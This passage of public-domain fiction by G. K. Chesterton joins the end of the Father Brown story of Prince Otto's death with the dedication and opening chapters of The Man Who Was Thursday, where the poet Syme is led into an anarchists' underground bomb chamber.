stolen out of his palace like a thief in the rain, +for he had thought of another way to get the desire of his eyes, +and to get it cheap. + + "Away at the upper end of a rambling mountain path to which +he was making his way, among the pillared rocks along the ridge +that hangs above the town, stood the hermitage, hardly more than +a cavern fenced with thorn, in which the third of the great brethren +had long hidden himself from the world. He, thought Prince Otto, +could have no real reason for refusing to give up the gold. +He had known its place for years, and made no effort to find it, +even before his new ascetic creed had cut him off from property +or pleasures. True, he had been an enemy, but he now professed +a duty of having no enemies. Some concession to his cause, +some appeal to his principles, would probably get the mere money secret +out of him. Otto was no coward, in spite of his network of military +precautions, and, in any case, his avarice was stronger than his fears. +Nor was there much cause for fear. Since he was certain there were +no private arms in the whole principality, he was a hundred times +more certain there were none in the Quaker's little hermitage on the hill, +where he lived on herbs, with two old rustic servants, and with +no other voice of man for year after year. Prince Otto looked down +with something of a grim smile at the bright, square labyrinths +of the lamp-lit city below him. For as far as the eye could see +there ran the rifles of his friends, and not one pinch of powder +for his enemies. Rifles ranked so close even to that mountain path +that a cry from him would bring the soldiers rushing up the hill, +to say nothing of the fact that the wood and ridge were patrolled +at regular intervals; rifles so far away, in the dim woods, +dwarfed by distance, beyond the river, that an enemy could not +slink into the town by any detour. And round the palace rifles +at the west door and the east door, at the north door and the south, +and all along the four facades linking them. He was safe. + + "It was all the more clear when he had crested the ridge +and found how naked was the nest of his old enemy. He found himself +on a small platform of rock, broken abruptly by the three corners +of precipice. Behind was the black cave, masked with green thorn, +so low that it was hard to believe that a man could enter it. +In front was the fall of the cliffs and the vast but cloudy +vision of the valley. On the small rock platform stood +an old bronze lectern or reading-stand, groaning under a great German Bible. +The bronze or copper of it had grown green with the eating airs +of that exalted place, and Otto had instantly the thought, +"Even if they had arms, they must be rusted by now." Moonrise had already +made a deathly dawn behind the crests and crags, and the rain had ceased. + + "Behind the lectern, and looking across the valley, +stood a very old man in a black robe that fell as straight as +the cliffs around him, but whose white hair and weak voice seemed alike +to waver in the wind. He was evidently reading some daily lesson +as part of his religious exercises. "They trust in their horses..." + + "`Sir,' said the Prince of Heiligwaldenstein, with quite unusual +courtesy, `I should like only one word with you.' + + "`...and in their chariots,' went on the old man weakly, +`but we will trust in the name of the Lord of Hosts....' +His last words were inaudible, but he closed the book reverently and, +being nearly blind, made a groping movement and gripped the reading-stand. +Instantly his two servants slipped out of the low-browed cavern +and supported him. They wore dull-black gowns like his own, +but they had not the frosty silver on the hair, nor the frost-bitten +refinement of the features. They were peasants, Croat or Magyar, +with broad, blunt visages and blinking eyes. For the first time +something troubled the Prince, but his courage and diplomatic sense +stood firm. + + "`I fear we have not met,' he said, `since that awful cannonade +in which your poor brother died.' + + "`All my brothers died,' said the old man, still looking +across the valley. Then, for one instant turning on Otto his drooping, +delicate features, and the wintry hair that seemed to drip +over his eyebrows like icicles, he added: `You see, I am dead, too.' + + "`I hope you'll understand,' said the Prince, controlling himself +almost to a point of conciliation, `that I do not come here to haunt you, +as a mere ghost of those great quarrels. We will not talk about +who was right or wrong in that, but at least there was one point +on which we were never wrong, because you were always right. +Whatever is to be said of the policy of your family, no one for one moment +imagines that you were moved by the mere gold; you have proved yourself +above the suspicion that...' + + "The old man in the black gown had hitherto continued to gaze at him +with watery blue eyes and a sort of weak wisdom in his face. +But when the word `gold' was said he held out his hand as if +in arrest of something, and turned away his face to the mountains. + + "`He has spoken of gold,' he said. `He has spoken of +things not lawful. Let him cease to speak.' + + "Otto had the vice of his Prussian type and tradition, +which is to regard success not as an incident but as a quality. +He conceived himself and his like as perpetually conquering peoples +who were perpetually being conquered. Consequently, he was ill acquainted +with the emotion of surprise, and ill prepared for the next movement, +which startled and stiffened him. He had opened his mouth +to answer the hermit, when the mouth was stopped and the voice +strangled by a strong, soft gag suddenly twisted round his head +like a tourniquet. It was fully forty seconds before he even realized +that the two Hungarian servants had done it, and that they had done it +with his own military scarf. + + "The old man went again weakly to his great brazen-supported Bible, +turned over the leaves, with a patience that had something horrible +about it, till he came to the Epistle of St James, and then began to read: +`The tongue is a little member, but--' + + "Something in the very voice made the Prince turn suddenly +and plunge down the mountain-path he had climbed. He was half-way towards +the gardens of the palace before he even tried to tear the strangling scarf +from his neck and jaws. He tried again and again, and it was impossible; +the men who had knotted that gag knew the difference between +what a man can do with his hands in front of him and what he can do +with his hands behind his head. His legs were free to leap like +an antelope on the mountains, his arms were free to use any gesture +or wave any signal, but he could not speak. A dumb devil was in him. + + "He had come close to the woods that walled in the castle +before he had quite realized what his wordless state meant +and was meant to mean. Once more he looked down grimly at the bright, +square labyrinths of the lamp-lit city below him, and he smiled no more. +He felt himself repeating the phrases of his former mood with +a murderous irony. Far as the eye could see ran the rifles +of his friends, every one of whom would shoot him dead +if he could not answer the challenge. Rifles were so near that +the wood and ridge could be patrolled at regular intervals; +therefore it was useless to hide in the wood till morning. +Rifles were ranked so far away that an enemy could not slink +into the town by any detour; therefore it was vain to return to the city +by any remote course. A cry from him would bring his soldiers +rushing up the hill. But from him no cry would come. + + "The moon had risen in strengthening silver, and the sky showed +in stripes of bright, nocturnal blue between the black stripes +of the pines about the castle. Flowers of some wide and feathery sort-- +for he had never noticed such things before--were at once luminous +and discoloured by the moonshine, and seemed indescribably fantastic +as they clustered, as if crawling about the roots of the trees. +Perhaps his reason had been suddenly unseated by the unnatural captivity +he carried with him, but in that wood he felt something +unfathomably German--the fairy tale. He knew with half his mind +that he was drawing near to the castle of an ogre--he had forgotten +that he was the ogre. He remembered asking his mother if bears lived +in the old park at home. He stooped to pick a flower, as if it were +a charm against enchantment. The stalk was stronger than he expected, +and broke with a slight snap. Carefully trying to place it in his scarf, +he heard the halloo, `Who goes there?' Then he remembered the scarf +was not in its usual place. + + "He tried to scream and was silent. The second challenge came; +and then a shot that shrieked as it came and then was stilled suddenly +by impact. Otto of Grossenmark lay very peacefully among the fairy +trees, and would do no more harm either with gold or steel; only the +silver pencil of the moon would pick out and trace here and there the +intricate ornament of his uniform, or the old wrinkles on his brow. +May God have mercy on his soul. + + "The sentry who had fired, according to the strict orders +of the garrison, naturally ran forward to find some trace of his quarry. +He was a private named Schwartz, since not unknown in his profession, +and what he found was a bald man in uniform, but with his face +so bandaged by a kind of mask made of his own military scarf +that nothing but open, dead eyes could be seen, glittering stonily +in the moonlight. The bullet had gone through the gag into the jaw; +that is why there was a shot-hole in the scarf, but only one shot. +Naturally, if not correctly, young Schwartz tore off the mysterious +silken mask and cast it on the grass; and then he saw whom he had slain. + + "We cannot be certain of the next phase. But I incline to believe +that there was a fairy tale, after all, in that little wood, +horrible as was its occasion. Whether the young lady named Hedwig +had any previous knowledge of the soldier she saved and eventually married, +or whether she came accidentally upon the accident and their intimacy +began that night, we shall probably never know. But we can know, +I fancy, that this Hedwig was a heroine, and deserved to marry a man +who became something of a hero. She did the bold and the wise thing. +She persuaded the sentry to go back to his post, in which place +there was nothing to connect him with the disaster; he was but one of +the most loyal and orderly of fifty such sentries within call. +She remained by the body and gave the alarm; and there was nothing +to connect her with the disaster either, since she had not got, +and could not have, any firearms. + + "Well," said Father Brown rising cheerfully "I hope they're happy." + + "Where are you going?" asked his friend. + + "I'm going to have another look at that portrait of the Chamberlain, +the Arnhold who betrayed his brethren," answered the priest. +"I wonder what part--I wonder if a man is less a traitor when he is +twice a traitor?" + + And he ruminated long before the portrait of a white-haired man +with black eyebrows and a pink, painted sort of smile that seemed +to contradict the black warning in his eyes. + + + + + + + +End of Project Gutenberg's The Wisdom of Father Brown, by G. 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It is +possible to say that it is a gripping adventure story of murderous +criminals and brilliant policemen; but it was to be expected that +the author of the Father Brown stories should tell a detective +story like no-one else. On this level, therefore, THE MAN WHO WAS +THURSDAY succeeds superbly; if nothing else, it is a magnificent +tour-de-force of suspense-writing. + +However, the reader will soon discover that it is much more than +that. Carried along on the boisterous rush of the narrative by +Chesterton's wonderful high-spirited style, he will soon see that +he is being carried into much deeper waters than he had planned on; +and the totally unforeseeable denouement will prove for the modern +reader, as it has for thousands of others since 1908 when the book +was first published, an inevitable and moving experience, as the +investigators finally discover who Sunday is. + + + +THE MAN WHO WAS THURSDAY + +A NIGHTMARE + +G. K. CHESTERTON + +To Edmund Clerihew Bentley + +A cloud was on the mind of men, and wailing went the weather, +Yea, a sick cloud upon the soul when we were boys together. +Science announced nonentity and art admired decay; +The world was old and ended: but you and I were gay; +Round us in antic order their crippled vices came-- +Lust that had lost its laughter, fear that had lost its shame. +Like the white lock of Whistler, that lit our aimless gloom, +Men showed their own white feather as proudly as a plume. +Life was a fly that faded, and death a drone that stung; +The world was very old indeed when you and I were young. +They twisted even decent sin to shapes not to be named: +Men were ashamed of honour; but we were not ashamed. +Weak if we were and foolish, not thus we failed, not thus; +When that black Baal blocked the heavens he had no hymns from us +Children we were--our forts of sand were even as weak as eve, +High as they went we piled them up to break that bitter sea. +Fools as we were in motley, all jangling and absurd, +When all church bells were silent our cap and beds were heard. + +Not all unhelped we held the fort, our tiny flags unfurled; +Some giants laboured in that cloud to lift it from the world. +I find again the book we found, I feel the hour that flings +Far out of fish-shaped Paumanok some cry of cleaner things; +And the Green Carnation withered, as in forest fires that pass, +Roared in the wind of all the world ten million leaves of grass; +Or sane and sweet and sudden as a bird sings in the rain-- +Truth out of Tusitala spoke and pleasure out of pain. +Yea, cool and clear and sudden as a bird sings in the grey, +Dunedin to Samoa spoke, and darkness unto day. +But we were young; we lived to see God break their bitter charms. +God and the good Republic come riding back in arms: +We have seen the City of Mansoul, even as it rocked, relieved-- +Blessed are they who did not see, but being blind, believed. + +This is a tale of those old fears, even of those emptied hells, +And none but you shall understand the true thing that it tells-- +Of what colossal gods of shame could cow men and yet crash, +Of what huge devils hid the stars, yet fell at a pistol flash. +The doubts that were so plain to chase, so dreadful to withstand-- +Oh, who shall understand but you; yea, who shall understand? +The doubts that drove us through the night as we two talked amain, +And day had broken on the streets e'er it broke upon the brain. +Between us, by the peace of God, such truth can now be told; +Yea, there is strength in striking root and good in growing old. +We have found common things at last and marriage and a creed, +And I may safely write it now, and you may safely read. + +G. K. C. + + + +CHAPTER I + +THE TWO POETS OF SAFFRON PARK + +THE suburb of Saffron Park lay on the sunset side of London, as +red and ragged as a cloud of sunset. It was built of a bright +brick throughout; its sky-line was fantastic, and even its ground +plan was wild. It had been the outburst of a speculative builder, +faintly tinged with art, who called its architecture sometimes +Elizabethan and sometimes Queen Anne, apparently under the +impression that the two sovereigns were identical. It was described +with some justice as an artistic colony, though it never in any +definable way produced any art. But although its pretensions to be +an intellectual centre were a little vague, its pretensions to be a +pleasant place were quite indisputable. The stranger who looked for +the first time at the quaint red houses could only think how very +oddly shaped the people must be who could fit in to them. Nor when +he met the people was he disappointed in this respect. The place +was not only pleasant, but perfect, if once he could regard it not +as a deception but rather as a dream. Even if the people were not +"artists," the whole was nevertheless artistic. That young man with +the long, auburn hair and the impudent face--that young man was not +really a poet; but surely he was a poem. That old gentleman with +the wild, white beard and the wild, white hat--that venerable +humbug was not really a philosopher; but at least he was the cause +of philosophy in others. That scientific gentleman with the bald, +egg-like head and the bare, bird-like neck had no real right to the +airs of science that he assumed. He had not discovered anything new +in biology; but what biological creature could he have discovered +more singular than himself? Thus, and thus only, the whole place +had properly to be regarded; it had to be considered not so much +as a workshop for artists, but as a frail but finished work of art. +A man who stepped into its social atmosphere felt as if he had +stepped into a written comedy. + +More especially this attractive unreality fell upon it about +nightfall, when the extravagant roofs were dark against the +afterglow and the whole insane village seemed as separate as a +drifting cloud. This again was more strongly true of the many +nights of local festivity, when the little gardens were often +illuminated, and the big Chinese lanterns glowed in the dwarfish +trees like some fierce and monstrous fruit. And this was strongest +of all on one particular evening, still vaguely remembered in the +locality, of which the auburn-haired poet was the hero. It was not +by any means the only evening of which he was the hero. On many +nights those passing by his little back garden might hear his high, +didactic voice laying down the law to men and particularly to +women. The attitude of women in such cases was indeed one of the +paradoxes of the place. Most of the women were of the kind vaguely +called emancipated, and professed some protest against male +supremacy. Yet these new women would always pay to a man the +extravagant compliment which no ordinary woman ever pays to him, +that of listening while he is talking. And Mr. Lucian Gregory, the +red-haired poet, was really (in some sense) a man worth listening +to, even if one only laughed at the end of it. He put the old cant +of the lawlessness of art and the art of lawlessness with a certain +impudent freshness which gave at least a momentary pleasure. He was +helped in some degree by the arresting oddity of his appearance, +which he worked, as the phrase goes, for all it was worth. His dark +red hair parted in the middle was literally like a woman's, and +curved into the slow curls of a virgin in a pre-Raphaelite picture. +From within this almost saintly oval, however, his face projected +suddenly broad and brutal, the chin carried forward with a look of +cockney contempt. This combination at once tickled and terrified +the nerves of a neurotic population. He seemed like a walking +blasphemy, a blend of the angel and the ape. + +This particular evening, if it is remembered for nothing else, +will be remembered in that place for its strange sunset. It looked +like the end of the world. All the heaven seemed covered with a +quite vivid and palpable plumage; you could only say that the sky +was full of feathers, and of feathers that almost brushed the +face. Across the great part of the dome they were grey, with the +strangest tints of violet and mauve and an unnatural pink or pale +green; but towards the west the whole grew past description, +transparent and passionate, and the last red-hot plumes of it +covered up the sun like something too good to be seen. The whole +was so close about the earth, as to express nothing but a violent +secrecy. The very empyrean seemed to be a secret. It expressed +that splendid smallness which is the soul of local patriotism. The +very sky seemed small. + +I say that there are some inhabitants who may remember the evening +if only by that oppressive sky. There are others who may remember +it because it marked the first appearance in the place of the +second poet of Saffron Park. For a long time the red-haired +revolutionary had reigned without a rival; it was upon the night +of the sunset that his solitude suddenly ended. The new poet, who +introduced himself by the name of Gabriel Syme was a very +mild-looking mortal, with a fair, pointed beard and faint, yellow +hair. But an impression grew that he was less meek than he looked. +He signalised his entrance by differing with the established poet, +Gregory, upon the whole nature of poetry. He said that he (Syme) +was poet of law, a poet of order; nay, he said he was a poet of +respectability. So all the Saffron Parkers looked at him as if he +had that moment fallen out of that impossible sky. + +In fact, Mr. Lucian Gregory, the anarchic poet, connected the two +events. + +"It may well be," he said, in his sudden lyrical manner, "it may +well be on such a night of clouds and cruel colours that there is +brought forth upon the earth such a portent as a respectable poet. +You say you are a poet of law; I say you are a contradiction in +terms. I only wonder there were not comets and earthquakes on the +night you appeared in this garden." + +The man with the meek blue eyes and the pale, pointed beard endured +these thunders with a certain submissive solemnity. The third party +of the group, Gregory's sister Rosamond, who had her brother's +braids of red hair, but a kindlier face underneath them, laughed +with such mixture of admiration and disapproval as she gave +commonly to the family oracle. + +Gregory resumed in high oratorical good humour. + +"An artist is identical with an anarchist," he cried. "You might +transpose the words anywhere. An anarchist is an artist. The man +who throws a bomb is an artist, because he prefers a great moment +to everything. He sees how much more valuable is one burst of +blazing light, one peal of perfect thunder, than the mere common +bodies of a few shapeless policemen. An artist disregards all +governments, abolishes all conventions. The poet delights in +disorder only. If it were not so, the most poetical thing in the +world would be the Underground Railway." + +"So it is," said Mr. Syme. + +"Nonsense!" said Gregory, who was very rational when anyone else +attempted paradox. "Why do all the clerks and navvies in the +railway trains look so sad and tired, so very sad and tired? I will +tell you. It is because they know that the train is going right. It +is because they know that whatever place they have taken a ticket +for that place they will reach. It is because after they have +passed Sloane Square they know that the next station must be +Victoria, and nothing but Victoria. Oh, their wild rapture! oh, +their eyes like stars and their souls again in Eden, if the next +station were unaccountably Baker Street!" + +"It is you who are unpoetical," replied the poet Syme. "If what you +say of clerks is true, they can only be as prosaic as your poetry. +The rare, strange thing is to hit the mark; the gross, obvious +thing is to miss it. We feel it is epical when man with one wild +arrow strikes a distant bird. Is it not also epical when man with +one wild engine strikes a distant station? Chaos is dull; because +in chaos the train might indeed go anywhere, to Baker Street or to +Bagdad. But man is a magician, and his whole magic is in this, that +he does say Victoria, and lo! it is Victoria. No, take your books +of mere poetry and prose; let me read a time table, with tears of +pride. Take your Byron, who commemorates the defeats of man; give +me Bradshaw, who commemorates his victories. Give me Bradshaw, I +say!" + +"Must you go?" inquired Gregory sarcastically. + +"I tell you," went on Syme with passion, "that every time a train +comes in I feel that it has broken past batteries of besiegers, and +that man has won a battle against chaos. You say contemptuously +that when one has left Sloane Square one must come to Victoria. I +say that one might do a thousand things instead, and that whenever +I really come there I have the sense of hairbreadth escape. And +when I hear the guard shout out the word 'Victoria,' it is not an +unmeaning word. It is to me the cry of a herald announcing +conquest. It is to me indeed 'Victoria'; it is the victory of +Adam." + +Gregory wagged his heavy, red head with a slow and sad smile. + +"And even then," he said, "we poets always ask the question, 'And +what is Victoria now that you have got there ?' You think Victoria +is like the New Jerusalem. We know that the New Jerusalem will only +be like Victoria. Yes, the poet will be discontented even in the +streets of heaven. The poet is always in revolt." + +"There again," said Syme irritably, "what is there poetical about +being in revolt ? You might as well say that it is poetical to be +sea-sick. Being sick is a revolt. Both being sick and being +rebellious may be the wholesome thing on certain desperate +occasions; but I'm hanged if I can see why they are poetical. +Revolt in the abstract is--revolting. It's mere vomiting." + +The girl winced for a flash at the unpleasant word, but Syme was +too hot to heed her. + +"It is things going right," he cried, "that is poetical I Our +digestions, for instance, going sacredly and silently right, that +is the foundation of all poetry. Yes, the most poetical thing, more +poetical than the flowers, more poetical than the stars--the most +poetical thing in the world is not being sick." + +"Really," said Gregory superciliously, "the examples you choose--" + +"I beg your pardon," said Syme grimly, "I forgot we had abolished +all conventions." + +For the first time a red patch appeared on Gregory's forehead. + +"You don't expect me," he said, "to revolutionise society on this +lawn ?" + +Syme looked straight into his eyes and smiled sweetly. + +"No, I don't," he said; "but I suppose that if you were serious +about your anarchism, that is exactly what you would do." + +Gregory's big bull's eyes blinked suddenly like those of an angry +lion, and one could almost fancy that his red mane rose. + +"Don't you think, then," he said in a dangerous voice, "that I am +serious about my anarchism?" + +"I beg your pardon ?" said Syme. + +"Am I not serious about my anarchism ?" cried Gregory, with knotted +fists. + +"My dear fellow!" said Syme, and strolled away. + +With surprise, but with a curious pleasure, he found Rosamond +Gregory still in his company. + +"Mr. Syme," she said, "do the people who talk like you and my +brother often mean what they say ? Do you mean what you say now ?" + +Syme smiled. + +"Do you ?" he asked. + +"What do you mean ?" asked the girl, with grave eyes. + +"My dear Miss Gregory," said Syme gently, "there are many kinds of +sincerity and insincerity. When you say 'thank you' for the salt, +do you mean what you say ? No. When you say 'the world is round,' +do you mean what you say ? No. It is true, but you don't mean it. +Now, sometimes a man like your brother really finds a thing he does +mean. It may be only a half-truth, quarter-truth, tenth-truth; but +then he says more than he means--from sheer force of meaning it." + +She was looking at him from under level brows; her face was grave +and open, and there had fallen upon it the shadow of that +unreasoning responsibility which is at the bottom of the most +frivolous woman, the maternal watch which is as old as the world. + +"Is he really an anarchist, then?" she asked. + +"Only in that sense I speak of," replied Syme; "or if you prefer +it, in that nonsense." + +She drew her broad brows together and said abruptly-- + +"He wouldn't really use--bombs or that sort of thing?" + +Syme broke into a great laugh, that seemed too large for his slight +and somewhat dandified figure. + +"Good Lord, no!" he said, "that has to be done anonymously." + +And at that the corners of her own mouth broke into a smile, and +she thought with a simultaneous pleasure of Gregory's absurdity +and of his safety. + +Syme strolled with her to a seat in the corner of the garden, and +continued to pour out his opinions. For he was a sincere man, and +in spite of his superficial airs and graces, at root a humble one. +And it is always the humble man who talks too much; the proud man +watches himself too closely. He defended respectability with +violence and exaggeration. He grew passionate in his praise of +tidiness and propriety. All the time there was a smell of lilac +all round him. Once he heard very faintly in some distant street a +barrel-organ begin to play, and it seemed to him that his heroic +words were moving to a tiny tune from under or beyond the world. + +He stared and talked at the girl's red hair and amused face for +what seemed to be a few minutes; and then, feeling that the groups +in such a place should mix, rose to his feet. To his astonishment, +he discovered the whole garden empty. Everyone had gone long ago, +and he went himself with a rather hurried apology. He left with a +sense of champagne in his head, which he could not afterwards +explain. In the wild events which were to follow this girl had no +part at all; he never saw her again until all his tale was over. +And yet, in some indescribable way, she kept recurring like a +motive in music through all his mad adventures afterwards, and the +glory of her strange hair ran like a red thread through those dark +and ill-drawn tapestries of the night. For what followed was so +improbable, that it might well have been a dream. + +When Syme went out into the starlit street, he found it for the +moment empty. Then he realised (in some odd way) that the silence +was rather a living silence than a dead one. Directly outside the +door stood a street lamp, whose gleam gilded the leaves of the tree +that bent out over the fence behind him. About a foot from the +lamp-post stood a figure almost as rigid and motionless as the +lamp-post itself. The tall hat and long frock coat were black; the +face, in an abrupt shadow, was almost as dark. Only a fringe of +fiery hair against the light, and also something aggressive in the +attitude, proclaimed that it was the poet Gregory. He had something +of the look of a masked bravo waiting sword in hand for his foe. + +He made a sort of doubtful salute, which Syme somewhat more +formally returned. + +"I was waiting for you," said Gregory. "Might I have a moment's +conversation?" + +"Certainly. About what?" asked Syme in a sort of weak wonder. + +Gregory struck out with his stick at the lamp-post, and then at the +tree. "About this and this," he cried; "about order and anarchy. +There is your precious order, that lean, iron lamp, ugly and +barren; and there is anarchy, rich, living, reproducing +itself--there is anarchy, splendid in green and gold." + +"All the same," replied Syme patiently, "just at present you only +see the tree by the light of the lamp. I wonder when you would ever +see the lamp by the light of the tree." Then after a pause he said, +"But may I ask if you have been standing out here in the dark only +to resume our little argument?" + +"No," cried out Gregory, in a voice that rang down the street, "I +did not stand here to resume our argument, but to end it for ever." + +The silence fell again, and Syme, though he understood nothing, +listened instinctively for something serious. Gregory began in a +smooth voice and with a rather bewildering smile. + +"Mr. Syme," he said, "this evening you succeeded in doing something +rather remarkable. You did something to me that no man born of +woman has ever succeeded in doing before." + +"Indeed!" + +"Now I remember," resumed Gregory reflectively, "one other person +succeeded in doing it. The captain of a penny steamer (if I +remember correctly) at Southend. You have irritated me." + +"I am very sorry," replied Syme with gravity. + +"I am afraid my fury and your insult are too shocking to be wiped +out even with an apology," said Gregory very calmly. "No duel +could wipe it out. If I struck you dead I could not wipe it out. +There is only one way by which that insult can be erased, and that +way I choose. I am going, at the possible sacrifice of my life and +honour, to prove to you that you were wrong in what you said." + +"In what I said?" + +"You said I was not serious about being an anarchist." + +"There are degrees of seriousness," replied Syme. "I have never +doubted that you were perfectly sincere in this sense, that you +thought what you said well worth saying, that you thought a +paradox might wake men up to a neglected truth." + +Gregory stared at him steadily and painfully. + +"And in no other sense," he asked, "you think me serious? You think +me a flaneur who lets fall occasional truths. You do not think that +in a deeper, a more deadly sense, I am serious." + +Syme struck his stick violently on the stones of the road. + +"Serious!" he cried. "Good Lord! is this street serious? Are these +damned Chinese lanterns serious? Is the whole caboodle serious? +One comes here and talks a pack of bosh, and perhaps some sense as +well, but I should think very little of a man who didn't keep +something in the background of his life that was more serious than +all this talking--something more serious, whether it was religion +or only drink." + +"Very well," said Gregory, his face darkening, "you shall see +something more serious than either drink or religion." + +Syme stood waiting with his usual air of mildness until Gregory +again opened his lips. + +"You spoke just now of having a religion. Is it really true that +you have one?" + +"Oh," said Syme with a beaming smile, "we are all Catholics now." + +"Then may I ask you to swear by whatever gods or saints your +religion involves that you will not reveal what I am now going to +tell you to any son of Adam, and especially not to the police? +Will you swear that! If you will take upon yourself this awful +abnegations if you will consent to burden your soul with a vow +that you should never make and a knowledge you should never dream +about, I will promise you in return--" + +"You will promise me in return?" inquired Syme, as the other +paused. + +"I will promise you a very entertaining evening." Syme suddenly +took off his hat. + +"Your offer," he said, "is far too idiotic to be declined. You say +that a poet is always an anarchist. I disagree; but I hope at least +that he is always a sportsman. Permit me, here and now, to swear as +a Christian, and promise as a good comrade and a fellow-artist, +that I will not report anything of this, whatever it is, to the +police. And now, in the name of Colney Hatch, what is it?" + +"I think," said Gregory, with placid irrelevancy, "that we will +call a cab." + +He gave two long whistles, and a hansom came rattling down the +road. The two got into it in silence. Gregory gave through the +trap the address of an obscure public-house on the Chiswick bank +of the river. The cab whisked itself away again, and in it these +two fantastics quitted their fantastic town. + + + +CHAPTER II + +THE SECRET OF GABRIEL SYME + +THE cab pulled up before a particularly dreary and greasy beershop, +into which Gregory rapidly conducted his companion. They seated +themselves in a close and dim sort of bar-parlour, at a stained +wooden table with one wooden leg. The room was so small and dark, +that very little could be seen of the attendant who was summoned, +beyond a vague and dark impression of something bulky and bearded. + +"Will you take a little supper?" asked Gregory politely. "The pate +de foie gras is not good here, but I can recommend the game." + +Syme received the remark with stolidity, imagining it to be a joke. +Accepting the vein of humour, he said, with a well-bred +indifference-- + +"Oh, bring me some lobster mayonnaise." + +To his indescribable astonishment, the man only said "Certainly, +sir!" and went away apparently to get it. + +"What will you drink?" resumed Gregory, with the same careless yet +apologetic air. "I shall only have a crepe de menthe myself; I have +dined. But the champagne can really be trusted. Do let me start you +with a half-bottle of Pommery at least?" + +"Thank you!" said the motionless Syme. "You are very good." + +His further attempts at conversation, somewhat disorganised in +themselves, were cut short finally as by a thunderbolt by the +actual appearance of the lobster. Syme tasted it, and found it +particularly good. Then he suddenly began to eat with great +rapidity and appetite. + +"Excuse me if I enjoy myself rather obviously!" he said to Gregory, +smiling. "I don't often have the luck to have a dream like this. It +is new to me for a nightmare to lead to a lobster. It is commonly +the other way." + +"You are not asleep, I assure you," said Gregory. "You are, on the +contrary, close to the most actual and rousing moment of your +existence. Ah, here comes your champagne! I admit that there may be +a slight disproportion, let us say, between the inner arrangements +of this excellent hotel and its simple and unpretentious exterior. +But that is all our modesty. We are the most modest men that ever +lived on earth." + +"And who are we?" asked Syme, emptying his champagne glass. + +"It is quite simple," replied Gregory. "We are the serious +anarchists, in whom you do not believe." + +"Oh!" said Syme shortly. "You do yourselves well in drinks." + +"Yes, we are serious about everything," answered Gregory. + +Then after a pause he added-- + +"If in a few moments this table begins to turn round a little, +don't put it down to your inroads into the champagne. I don't wish +you to do yourself an injustice." + +"Well, if I am not drunk, I am mad," replied Syme with perfect +calm; "but I trust I can behave like a gentleman in either +condition. May I smoke?" + +"Certainly!" said Gregory, producing a cigar-case. "Try one of +mine." + +Syme took the cigar, clipped the end off with a cigar-cutter out +of his waistcoat pocket, put it in his mouth, lit it slowly, and +let out a long cloud of smoke. It is not a little to his credit +that he performed these rites with so much composure, for almost +before he had begun them the table at which he sat had begun to +revolve, first slowly, and then rapidly, as if at an insane +seance. + +"You must not mind it," said Gregory; "it's a kind of screw." + +"Quite so," said Syme placidly, "a kind of screw. How simple that +is!" + +The next moment the smoke of his cigar, which had been wavering +across the room in snaky twists, went straight up as if from a +factory chimney, and the two, with their chairs and table, shot +down through the floor as if the earth had swallowed them. They +went rattling down a kind of roaring chimney as rapidly as a lift +cut loose, and they came with an abrupt bump to the bottom. But +when Gregory threw open a pair of doors and let in a red +subterranean light, Syme was still smoking with one leg thrown +over the other, and had not turned a yellow hair. + +Gregory led him down a low, vaulted passage, at the end of which +was the red light. It was an enormous crimson lantern, nearly as +big as a fireplace, fixed over a small but heavy iron door. In the +door there was a sort of hatchway or grating, and on this Gregory +struck five times. A heavy voice with a foreign accent asked him +who he was. To this he gave the more or less unexpected reply, +"Mr. Joseph Chamberlain." The heavy hinges began to move; it was +obviously some kind of password. + +Inside the doorway the passage gleamed as if it were lined with a +network of steel. On a second glance, Syme saw that the glittering +pattern was really made up of ranks and ranks of rifles and +revolvers, closely packed or interlocked. + +"I must ask you to forgive me all these formalities," said Gregory; +"we have to be very strict here." + +"Oh, don't apologise," said Syme. "I know your passion for law and +order," and he stepped into the passage lined with the steel +weapons. With his long, fair hair and rather foppish frock-coat, he +looked a singularly frail and fanciful figure as he walked down +that shining avenue of death. + +They passed through several such passages, and came out at last +into a queer steel chamber with curved walls, almost spherical in +shape, but presenting, with its tiers of benches, something of the +appearance of a scientific lecture-theatre. There were no rifles or +pistols in this apartment, but round the walls of it were hung more +dubious and dreadful shapes, things that looked like the bulbs of +iron plants, or the eggs of iron birds. They were bombs, and the +very room itself seemed like the inside of a bomb. Syme knocked his +cigar ash off against the wall, and went in. + +"And now, my dear Mr. Syme," said Gregory, throwing himself in an +expansive manner on the bench under the largest bomb, "now we are +quite cosy, so let us talk properly. Now no human words can give +you any notion of why I brought you here. It was one of those quite +arbitrary emotions, like jumping off a cliff or falling in love. +Suffice it to say that you were an inexpressibly irritating fellow, +and, to do you justice, you are still. I would break twenty oaths +of secrecy for the pleasure of taking you down a peg. That way you +have of lighting a cigar would make a priest break the seal of +confession. Well, you said that you were quite certain I was not a +serious anarchist. Does this place strike you as being serious?" + +"It does seem to have a moral under all its gaiety," assented +Syme; "but may I ask you two questions? You need not fear to give +me information, because, as you remember, you very wisely extorted +from me a promise not to tell the police, a promise I shall +certainly keep. So it is in mere curiosity that I make my queries. +First of all, what is it really all about? What is it you object +to? You want to abolish Government?" + +"To abolish God!" said Gregory, opening the eyes of a fanatic. "We +do not only want to upset a few despotisms and police regulations; +that sort of anarchism does exist, but it is a mere branch of the +Nonconformists. We dig deeper and we blow you higher. We wish to +deny all those arbitrary distinctions of vice and virtue, honour +and treachery, upon which mere rebels base themselves. The silly +sentimentalists of the French Revolution talked of the Rights of +Man! We hate Rights as we hate Wrongs. We have abolished Right and +Wrong." + +"And Right and Left," said Syme with a simple eagerness, "I hope +you will abolish them too. They are much more troublesome to me." + +"You spoke of a second question," snapped Gregory. + +"With pleasure," resumed Syme. "In all your present acts and +surroundings there is a scientific attempt at secrecy. I have an +aunt who lived over a shop, but this is the first time I have +found people living from preference under a public-house. You have +a heavy iron door. You cannot pass it without submitting to the +humiliation of calling yourself Mr. Chamberlain. You surround +yourself with steel instruments which make the place, if I may say +so, more impressive than homelike. May I ask why, after taking all +this trouble to barricade yourselves in the bowels of the earth, +you then parade your whole secret by talking about anarchism to +every silly woman in Saffron Park?" + +Gregory smiled. + +"The answer is simple," he said. "I told you I was a serious +anarchist, and you did not believe me. Nor do they believe me. +Unless I took them into this infernal room they would not believe +me." + +Syme smoked thoughtfully, and looked at him with interest. Gregory +went on. + +"The history of the thing might amuse you," he said. "When first I +became one of the New Anarchists I tried all kinds of respectable +disguises. I dressed up as a bishop. I read up all about bishops +in our anarchist pamphlets, in Superstition the Vampire and +Priests of Prey. I certainly understood from them that bishops are +strange and terrible old men keeping a cruel secret from mankind. +I was misinformed. When on my first appearing in episcopal gaiters +in a 